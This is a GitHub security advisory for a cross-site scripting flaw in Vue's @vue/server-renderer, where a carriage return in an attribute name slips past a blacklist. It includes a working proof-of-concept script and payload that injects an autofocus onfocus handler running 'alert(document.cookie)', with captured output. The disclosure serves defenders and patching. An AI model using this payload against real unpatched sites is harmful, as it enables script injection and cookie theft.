GitHub Advisoryadvisory · npm
GHSA-g2v6-rqmx-r4w6 @vue/server-renderer: XSS via missing CR in attribute-name blacklist
HIGH
Official page ↗
- Ecosystem
- npm
- Packages
- @vue/server-renderer
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
- Weaknesses
- CWE-116, CWE-79
- Reviewed
- 2026-10-05
Affected packages
• npm @vue/server-renderer: < 3.5.42 → fixed in 3.5.42
• npm @vue/server-renderer: >= 3.6.0-rc.0, < 3.6.0-rc.6 → fixed in 3.6.0-rc.6
Description
Description
`@vue/server-renderer` was investigated specifically because it's the one place in Vue where template rendering output becomes a real HTTP response body -- a genuine server-side trust boundary, unlike client-side rendering which only ever affects the same browser session that's already running the app's own JS.
`ssrRenderAttrs()` (in `packages/server-renderer/src/helpers/ssrRenderAttrs.ts`) is what compiled SSR output calls for something like ``. It loops over the object's own keys and, for each one, renders it as an HTML attribute:
```ts
export function ssrRenderDynamicAttr(
key: string,
value: unknown,
tag?: string,
): string {
if (!isRenderableAttrValue(value)) {
return ``
}
const attrKey = ...
if (isBooleanAttr(attrKey) || ...) {
return includeBooleanAttr(value) ? ` ${attrKey}` : ``
} else if (isSSRSafeAttrName(attrKey)) {
return value === '' ? ` ${attrKey}` : ` ${attrKey}="${escapeHtml(value)}"`
} else {
console.warn(`[@vue/server-renderer] Skipped rendering unsafe attribute name: ${attrKey}`)
return ``
}
}
```
The value always goes through `escapeHtml()` -- that part is correctly and consistently applied everywhere in this file. But the attribute name (`attrKey`) is only checked against a character blacklist, then spliced directly into the output with no escaping of its own:
```ts
// packages/shared/src/domAttrConfig.ts
const unsafeAttrCharRE = /[>/="'\u0009\u000a\u000c\u0020]/
export function isSSRSafeAttrName(name: string): boolean {
if (attrValidationCache.hasOwnProperty(name)) {
return attrValidationCache[name]
}
const isUnsafe = unsafeAttrCharRE.test(name)
if (isUnsafe) {
console.error(`unsafe attribute name: ${name}`)
}
return (attrValidationCache[name] = !isUnsafe)
}
```
That blacklist covers: `>`, `/`, `=`, `"`, apostrophe, tab (U+0009), line feed (U+000A), form feed (U+000C), and space (U+0020). It does not cover U+000D -- carriage return (CR, written as `\r` in JS).
That matters because of how browsers actually parse HTML. Per the WHATWG HTML parsing spec, the very first step ("preprocessing the input stream") converts every `\r` not followed by `\n` into a `\n` before the tokenizer even starts. So a raw `\r` sitting inside what Vue intends as a single attribute name gets turned into a real line feed by the browser -- and a line feed is one of the characters that terminates an attribute name and starts a new one. The blacklist checks the string as Vue sees it before the browser gets to reinterpret it, and that's exactly the gap.
Below is a fresh clone of this repo, confirming the exact commit, the exact vulnerable line, and zero modification to the source:
Prrof
The real, unmodified ssrRenderAttrs() from the published @vue/[email protected] package was tested. The source at HEAD and the upcoming v3.6.0-rc.2 tag were also checked, and the same vulnerable regular expression was present in both; no branch containing a fix was identified.
Full script, saved as `poc.mjs` (GitHub doesn't let me attach `.mjs` directly, so the complete file is here):
```js
import { ssrRenderAttrs } from '@vue/server-renderer';
import { parseFragment } from 'parse5';
// This is exactly what compiled SSR output calls for ``
// -- the real, unmodified, published ssrRenderAttrs function.
// Full attack chain: the key itself contains ONLY letters, digits, and a
// bare \r (carriage return) -- no '>', '/', '=', '"', "'", tab, LF, FF, or
// space anywhere, so isSSRSafeAttrName() considers it fully safe. The value
// is attacker-controlled JavaScript, delivered as the genuine value of the
// LAST \r-separated fragment, which Vue's own template naturally appends via
// `="${escapeHtml(value)}"` immediately after the key.
const maliciousKey = 'x\rautofocus\ronfocus';
const props = {
[maliciousKey]: 'alert(document.cookie)',
};
const rawAttrString = ssrRenderAttrs(props);
console.log('=== Raw string produced by the real ssrRenderAttrs() ===');
console.log(JSON.stringify(rawAttrString));
console.log();
console.log('=== As it would literally appear in the HTML response ===');
console.log(rawAttrString.replace(/\r/g, '\\r').replace(/\n/g, '\\n\n'));
const fullHtml = `content`;
console.log();
console.log('=== Full element HTML ===');
console.log(JSON.stringify(fullHtml));
// Now parse this EXACT output with parse5 -- a real, spec-compliant HTML5
// parser (the same parsing algorithm real browsers implement, including the
// \r\n -> \n input-preprocessing normalization step).
const fragment = parseFragment(fullHtml);
const div = fragment.childNodes.find(n => n.tagName === 'div');
console.log();
console.log('=== How a real HTML5 parser (parse5) actually interprets this ===');
console.log('Attributes parsed on the :');
for (const attr of div.attrs) {
console.log(` ${JSON.stringify(attr.name)} = ${JSON.stringify(attr.value)}`);
}
const injectedHandler = div.attrs.find(a => a.name === 'onfocus');
const injectedAutofocus = div.attrs.find(a => a.name === 'autofocus');
console.log();
if (injectedHandler && injectedAutofocus) {
console.log('* CONFIRMED: real, separate "autofocus" and "onfocus" attributes were parsed out *');
console.log(`* onfocus value: ${JSON.stringify(injectedHandler.value)} *`);
console.log('* This element will execute the attacker JS automatically on page load, no user interaction needed. *');
} else {
console.log('Not confirmed.');
}
```
This is a fresh `npm install [email protected] @vue/[email protected] parse5` -- the real, currently-published packages, not anything modified:
Real, captured output:
```
=== Raw string produced by the real ssrRenderAttrs() ===
" x\rautofocus\ronfocus=\"alert(document.cookie)\""
=== Full element HTML ===
"content"
=== How a real HTML5 parser (parse5) actually interprets this ===
Attributes parsed on the :
"x" = ""
"autofocus" = ""
"onfocus" = "alert(document.cookie)"
• CONFIRMED: real, separate "autofocus" and "onfocus" attributes were parsed out *
• onfocus value: "alert(document.cookie)" *
```
The single attribute name Vue intended to render safely -- `x\rautofocus\ronfocus` -- gets parsed by any real browser as three separate things: an empty `x` attribute, a real `autofocus` boolean attribute, and a real `onfocus="alert(document.cookie)"` event handler. `autofocus` means the element receives focus automatically on page load, which fires the `focus` event immediately, which runs the injected JavaScript -- no click, no hover, no user interaction of any kind required.
This behavior was confirmed not to be specific to the payload by first isolating the mechanism with a minimal case (`"foo\rbar"` as the key, no other special characters at all), which parse5 also split into two genuine separate attributes (`foo=""` and `bar="..."`), before building the full self-triggering payload above.
To go beyond the parser-level proof, there is a second script that calls the real `ssrRenderAttrs()`, captures its exact return value programmatically, and writes that unmodified byte sequence directly into an HTML file on disk -- no HTML was hand-typed anywhere in this step. Full script, saved as `generate_real_poc.mjs`:
```js
import { ssrRenderAttrs } from '@vue/server-renderer';
import fs from 'fs';
// This is the ACTUAL, unmodified ssrR…
Related
References
- https://github.com/vuejs/core/security/advisories/GHSA-g2v6-rqmx-r4w6 web
- https://github.com/vuejs/core/pull/15266 web
- https://github.com/vuejs/core/commit/a2b40db9a83b36ed9da3a16403cf8f040262d73f web
- https://github.com/vuejs/core package
- https://github.com/vuejs/core/releases/tag/v3.5.42 web
- https://github.com/vuejs/core/releases/tag/v3.6.0-rc.6 web